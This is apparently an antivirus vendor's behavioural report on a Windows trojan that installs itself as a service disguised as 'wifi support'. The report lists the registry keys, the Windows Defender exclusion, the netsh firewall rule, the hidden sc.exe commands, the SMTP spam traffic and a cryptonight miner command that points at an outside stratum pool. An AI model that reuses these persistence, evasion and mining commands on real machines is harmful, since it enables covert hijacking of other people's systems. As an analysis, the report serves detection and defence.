Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\asatrajv] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\asatrajv] 'ImagePath' = '%WINDIR%\SysWOW64\asatrajv\fdkgfomd.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\asatrajv] 'ImagePath' = '%WINDIR%\SysWOW64\asatrajv\fdkgfomd.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\asatrajv' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\fdkgfomd.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\fdkgfomd.exe to %WINDIR%\syswow64\asatrajv\fdkgfomd.exe
Deletes itself.
Network activity
Connects to
- 'mt##.##0.yahoodns.net':25
- 'tm#.###.##bound10.emea.mxlogic.net':25
- 'ow#.ccc.ca':25
- 'ba######a.cloud.shentel.net':25
- 'ip##fo.io':80
- 'mx#.#otmail.com':25
- '14#.#6.108.92':481
- 'sl########empresas.gtdinternet.com':25
- 'et###.#ail.tiscali.it':25
- 'vi########er.arn03.hls.ttvnw.net':443
- 'ma##.prhta.net':25
- 'alt3.gmail-smtp-in.l.google.com':25
- 'alt4.gmail-smtp-in.l.google.com':25
- 'cu#######1.in.mailcontrol.com':25
- 'alt1.gmail-smtp-in.l.google.com':25
- 'aspmx.l.google.com':25
- 'alt2.gmail-smtp-in.l.google.com':25
- 'gmail-smtp-in.l.google.com':25
- 'so####2.sohu.com':25
- 'mx#.#harter.net':25
TCP
HTTP GET requests
- http://www.google.com/
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK alt1.gmail-smtp-in.l.google.com
- DNS ASK cc###able.net
- DNS ASK MA##.#luetie.com
- DNS ASK tl#.net
- DNS ASK alt3.gmail-smtp-in.l.google.com
- DNS ASK ti##ali.it
- DNS ASK et###.#ail.tiscali.it
- DNS ASK cc#.ca
- DNS ASK ow#.ccc.ca
- DNS ASK google.com
- DNS ASK ca###lus.net
- DNS ASK do###eclick.net
- DNS ASK aspmx.l.google.com
- DNS ASK cu#######1.in.mailcontrol.com
- DNS ASK ch##ter.net
- DNS ASK ne###illage.net
- DNS ASK pr##a.net
- DNS ASK ma##.prhta.net
- DNS ASK vi########er.arn03.hls.ttvnw.net
- DNS ASK te##ur.net
- DNS ASK sl########empresas.gtdinternet.com
- DNS ASK ip##fo.io
- DNS ASK sh##tel.net
- DNS ASK ba######a.cloud.shentel.net
- DNS ASK tm#.net
- DNS ASK tm#.###.##bound10.emea.mxlogic.net
- DNS ASK so##.com
- DNS ASK so####2.sohu.com
- DNS ASK gm##l.com
- DNS ASK mc###neyisd.net
- DNS ASK mx##.#pcmail.net
- DNS ASK bl##win.ch
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK alt2.gmail-smtp-in.l.google.com
- DNS ASK mx#.#otmail.com
- DNS ASK gmail-smtp-in.l.google.com
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK ge##at.net
- DNS ASK sm###.gencat.cat
- DNS ASK wm###nect.com
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK mx.#p.pl
- DNS ASK mx##.#b.bluewin.ch
- DNS ASK ms#.#inet.net
- DNS ASK ms#####p-mx2.hinet.net
- DNS ASK alt4.gmail-smtp-in.l.google.com
- DNS ASK di##com.net
- DNS ASK id####ciones.net
- DNS ASK dk###ign.net
- DNS ASK sm##.##cureserver.net
- DNS ASK ne###rada.pl
- DNS ASK sm##.#osting.tp.pl
- DNS ASK ir##ple.net
- DNS ASK alt1.aspmx.l.google.com
- DNS ASK wp.pl
- DNS ASK cw###ama.net
- DNS ASK mx#.#harter.net
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\asatrajv\fdkgfomd.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\asatrajv\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\fdkgfomd.exe" %WINDIR%\SysWOW64\asatrajv\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create asatrajv binPath= "%WINDIR%\SysWOW64\asatrajv\fdkgfomd.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description asatrajv "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start asatrajv' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\asatrajv\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\fdkgfomd.exe" %WINDIR%\SysWOW64\asatrajv\
- '%WINDIR%\syswow64\sc.exe' create asatrajv binPath= "%WINDIR%\SysWOW64\asatrajv\fdkgfomd.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description asatrajv "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start asatrajv
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' -a cryptonight-heavy -o stratum+tcp://185.16.41.185:8087 -u w1 -p x --nicehash --safe
